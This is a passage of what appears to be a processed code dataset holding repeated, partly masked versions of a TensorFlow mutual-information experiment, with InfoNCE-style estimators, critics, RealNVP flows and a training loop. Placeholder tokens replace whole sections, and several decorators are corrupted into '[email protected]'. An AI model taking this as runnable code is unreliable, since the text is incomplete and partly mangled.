{}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = 